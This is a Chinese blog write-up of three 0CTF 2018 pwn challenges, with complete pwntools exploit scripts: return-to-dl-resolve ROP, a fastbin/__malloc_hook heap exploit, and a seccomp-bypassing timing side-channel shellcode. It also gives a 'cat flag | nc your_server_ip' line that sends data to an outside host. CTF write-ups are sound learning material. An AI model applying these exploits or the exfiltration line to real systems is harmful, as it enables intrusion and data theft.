0ctf 2018 PWN 部分题解

这次比赛和哈尔滨工业大学及中国科学技术大学的大佬们组了一支联队emmmm,对就叫emmmm。还被TX点名了,hhhhhh。

靠着 BLUECAKE@DUBHE 大佬,队伍一共出了三道PWN题。

babystack

一道不做作的栈溢出题目,没有开PIE和CANARY保护,也没有输出orz,突然想起之前做过pwnable.tw上的starbound时,曾经接触过一种方法叫return-to-dl-resolve,这种方法可以再没有libc的条件下,找到并执行system函数。

这篇博客对这个知识点讲的很清楚 http://www.freebuf.com/articles/system/149214.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from ctypes import *
import hashlib
import string
debug = 0
elf = ELF('./babystack')
#flag{return_to_dlresolve_for_warming_up}
ct = string.ascii_letters+string.digits
#context.log_level = 'debug'
def login(io):
# io.recvuntil("+")
s = io.recvline()[:-1]
#io.recvuntil("== ")
#dst = io.recvuntil("\n")[:-1]
print repr(s)
#print repr(dst)
def getpre():
for c1 in ct:
for c2 in ct:
for c3 in ct:
for c4 in ct:
pre = c1 + c2 + c3 + c4
#hasho = hashlib.sha256(s+pre)
#print hasho.hexdigest()
if hashlib.sha256(s + pre).digest().startswith('\0\0\0'):#hasho.hexdigest().lower().startswith('\0\0\0'):
return pre
pre = getpre()
print pre
io.send(pre)


if debug:
p = process('./babystack')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level = 'debug'
else:

p =remote('202.120.7.202', 6666)
#libc = ELF('./libc-2.23.so')
#off = 0x001b0000
login(p)
context.log_level = 'debug'
bss_start = 0x804a000
leave_ret = 0x8048455
pppr = 0x080484e9
relplt = 0x80482b0
#gdb.attach(p,'b *0x80484e9')
part1 = 'a'*0x28 + p32(bss_start+0x800) + p32(elf.symbols['read']) + p32(leave_ret) + p32(0) + p32(bss_start+0x800) + p32(40)
print '[*] part1 ' ,len(part1)
#p.send(part1)
rop1 = p32(bss_start+0x800+0x200) + p32(elf.symbols['read']) + p32(pppr) + p32(0) + p32(bss_start + 0x100) +p32(44)
rop1 += p32(0x80482f0) + p32(bss_start+0x100 - relplt) +p32(pppr)+ p32(0x804a124)# + p32(0) + p32(bss_start + 0x200) +p32(0x100)
print '[*] part2 ' ,len(rop1)
#rop = rop1 + p32(0x8048456)*((0x100-len(rop1))/4)
#p.send(rop1)

rop2 = p32(0x0804a00c)+p32(0x0001f407)+ p32(0xdeadbeef) + p32(0x1ef0) + p32(0) + p32(0) + p32(12) + 'system\0\0'
rop3 = rop2 + '/bin/sh\0'
print '[*] part3 ' ,len(rop3)
#rop = rop3 + 'a'*(0x100-len(rop3))
p.send(part1+rop1+rop3)




p.interactive()

'''
0x080484eb : pop ebp ; ret
0x080484e8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482e9 : pop ebx ; ret
0x080484ea : pop edi ; pop ebp ; ret
0x080484e9 : pop esi ; pop edi ; pop ebp ; ret


0x00000006 (SYMTAB) 0x80481cc
0x0000000b (SYMENT) 16 (bytes)
0x6ffffff0 (VERSYM) 0x804827c

pwndbg> x /4wx 0x80481cc+16
0x80481dc: 0x0000001a 0x00000000 0x00000000 0x00000012


'''

拿到shell,发现此题没有输出… 解法是在服务器上开一个监听 然后执行 cat flag | nc your_server_ip your_server_port就可以了…

最后看到flag,果然这种方法就是预期解…

babyheap

此题存在一个UAF漏洞,但是调用了calloc函数,这个函数会把堆块内数据清空,在此题中,和BLUECAKE大佬商量出一个新的利用方法,根据以前的利用思路,在可以对fastbin上任意地址分配与释放的题目中,通常可以劫持一个列表,作为跳板,在main_arena的某处写入一个0x60等数字,便于下一次分配,从而劫持到main_arena中的top chunk。再进一步有两种思路,1. 劫持到__free_hook之前,再分配几次,以system覆写__free_hook,从而得到shell。2. 劫持到栈上,通过未加canary保护的函数,写ROP执行system(‘/bin/sh’)。本次比赛发现了一种新的想法,将top写到__malloc_hook - 0x10这个位置,__malloc_hook-0x8是alignedhook,一定是不为零的,通常是0x7fxxxxx,这样就可以分配覆写\_malloc_hook为one_gadget,从而拿到shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#flag{have_fun_with_fastbin}
context.log_level = "DEBUG"
p = remote("202.120.7.204",127)#process('./babyheap',env={'LD_PRELOAD': './libc-2.24.so'}) # , env={'LD_PRELOAD':'./libc-2.24.so'})



def allocate(size):
p.sendlineafter('Command:', '1')
p.sendlineafter('Size:', str(size))

def update(index, size, content):
p.sendlineafter('Command:', '2')
p.sendlineafter('Index:', str(index))
p.sendlineafter('Size:', str(size))
p.sendlineafter('Content:', content)

def delete(index):
p.sendlineafter('Command:', '3')
p.sendlineafter('Index:', str(index))

def view(index):
p.sendlineafter('Command:', '4')
p.sendlineafter('Index:', str(index))

allocate(0x58) # 0
allocate(0x58) # 0 1
allocate(0x58) # 0 1 2
update(0, 0x59, 'a'*0x58 + '\xc1')
allocate(0x20) # 0 1 2 3
delete(1) # 0 2 3
allocate(0x58) # 0 1 2 3
view(2)

p.recvuntil('Chunk[2]: ')
leak_addr = u64(p.recv(6) + '\x00\x00')
main_arena = leak_addr - 88
print('main_arena is ' + hex(main_arena))

libc = ELF('./libc-2.24.so')#('/lib/x86_64-linux-gnu/libc.so.6')
libcbase = main_arena - 0x10 - libc.symbols['__malloc_hook']


delete(3)
allocate(0x58) # 0 1 2 3
delete(3)
allocate(0x58) # 0 1 2 3 (2==3)


allocate(0x58) # 0 1 2 3 4
allocate(0x58) # 0 1 2 3 4 5
allocate(0x38) # 0 1 2 3 4 5 6
allocate(0x48) # 0 1 2 3 4 5 6 7
update(4, 0x59, 'a'*0x58 + '\xf1')
delete(5) # 0 1 2 3 4 6 7

allocate(0x58) # 0 1 2 3 4 5 6 7
allocate(0x38) # 0 1 2 3 4 5 6 7 8(6==8)
delete(8)
update(6, 0x8, p64(0x60))
allocate(0x38)

delete(3)
update(2, 0x8, p64(main_arena + 0x10))
allocate(0x58) # 0 1 2 3 4 5 6 7 8
allocate(0x58) # 0 1 2 3 4 5 6 7 8 9

malloc_hook_head = main_arena - 0x10 - 0x10
update(9, 0x58, p64(0)*7 + p64(malloc_hook_head) + p64(0) + p64(leak_addr)*2)

allocate(0x40)
one_gadget = libcbase + 0x3f35a
update(10, 8, p64(one_gadget))
#db.attach(p)
allocate(0x10)

#delete(2)
#delete(3)
p.interactive()
'''
0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x3f35a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xd695f execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL

'''
'''
0x45526 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4557a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf1651 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xf24cb execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL

'''

blackhole

此题属于babystack的升级版,但是在64位下return-to-dl-resolve需要泄露一个地址才可以使用,因此需要使用其他方法,题目给出一个hint,使用return-to-csu,这种方法是可以构造调用一个函数,并可以控制其三个参数。

并且,题目中增加了系统沙箱,控制只能调用open、read、mprotect、exit函数,最开始想到的是whctf里的sandbox题目,通过将程序跳转到32/64位,跳出沙箱的限制,但是明显是想多了。。。思路被我带歪了…和大佬搞了几个小时发现行不通… 最后只能通过基于时间的爆破来做。 并且发现自己的汇编语言写的真是渣…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import threading
import string
import random, string, subprocess, os, sys
from hashlib import sha256

os.chdir(os.path.dirname(os.path.realpath(__file__)))

check_result = False

def check(offset, guess, method):
# p = process('./blackhole')
# gdb.attach(p, open('debug'))
global check_result
check_result = False
while True:
p = remote('202.120.7.203', 666)
# p = remote('127.0.0.1', 5555)

def pow():
chal = p.recvline()[:-1]
print chal.encode('hex')
for c1 in xrange(256):
for c2 in xrange(256):
for c3 in xrange(256):
for c4 in xrange(256):
sol = ''.join(map(chr, (c1, c2, c3, c4)))
if sha256(chal + sol).hexdigest().startswith('00000'):
p.send(sol)
print sha256(chal + sol).hexdigest()
return True
return False

if pow() == True:
break

output_buffer = ''

context.arch = 'amd64'
elf = ELF('./blackhole')
# context.log_level = 'DEBUG'

pop6 = 0x400A4A
mov_call = 0x400A30
bss = 0x601100
pop_rbp = 0x4007c0
leave_ret = 0x4009A5

def callfunc(func, arg1, arg2, arg3):
rop = p64(pop6)
rop += p64(0) + p64(1) + p64(func) + p64(arg3) + p64(arg2) + p64(arg1)
rop += p64(mov_call)
return rop

rop = 'a'*40
rop += callfunc(elf.got['read'], 0, bss, 320)
rop += p64(0)*7
rop += p64(pop_rbp) + p64(bss - 8) + p64(leave_ret)
rop = rop.ljust(0x100, 'a')
# p.send(rop)
output_buffer += rop


context.arch = 'amd64'
shellcode = shellcraft.open('/home/blackhole/flag', constants.O_RDONLY)
# shellcode = shellcraft.open('/tmp/flag', constants.O_RDONLY)
shellcode += shellcraft.read('rax', bss, 60)
shellcode += "mov al, byte ptr [%s]; cmp al, %s;" % (hex(0x601100 + offset), hex(guess))
if method == 'equal':
shellcode += "jne Exit;"
elif method == 'smaller':
shellcode += "jl Exit;"
else:
shellcode += "jg Exit;"

shellcode += "Loop:"
shellcode += shellcraft.read(0, bss + 0x100, 0x10) # just block the program
shellcode += 'jmp Loop;'
shellcode += 'Exit:' + shellcraft.exit(0)
shellcode = asm(shellcode)


bss_rop = callfunc(elf.got['read'], 0, elf.got['alarm'], 1)
bss_rop += callfunc(elf.got['read'], 0, bss, constants.SYS_mprotect)
bss_rop += callfunc(elf.got['alarm'], 0x601000, 0x1000, 0x7)
bss_rop += callfunc(elf.got['read'], 0, bss, len(shellcode))
bss_rop += p64(0)*7
bss_rop += p64(bss)
#p.send(bss_rop)
# print 'len(bss_rop) is ' + hex(len(bss_rop))
output_buffer += bss_rop
# p.send('\x05' + 'a' * constants.SYS_mprotect)
# output_buffer += '\x05' + 'a' * constants.SYS_mprotect
output_buffer += '\x85' + 'a' * constants.SYS_mprotect
output_buffer += shellcode

old_time = time.time()
# print len(output_buffer)
p.send(output_buffer.ljust(0x800, 'f'))

try:
for i in xrange(5):
p.sendline('hack you')
print("hack you")
time.sleep(1)
times = i
p.close()
except Exception as e:
times = i
p.close()

if times > 3:
check_result = True

def binSearch(offset, start, end):
while start < end:
print start, end, chr(start), chr(end)
medium = (start + end) / 2
check(offset, medium, 'equal')
if check_result:
return medium

check(offset, medium, "smaller")
if check_result:
start, end = medium, end
else:
start, end = start, medium
return start



flag = 'flag{even_black_holes_leak_information_by_Hawking_radiation}'
for i in range(len(flag), 60):
result = binSearch(i, 33, 128)
flag += chr(result)
log.info("flag is " + flag)
文章目录
  1. 1. babystack
  2. 2. babyheap
  3. 3. blackhole
|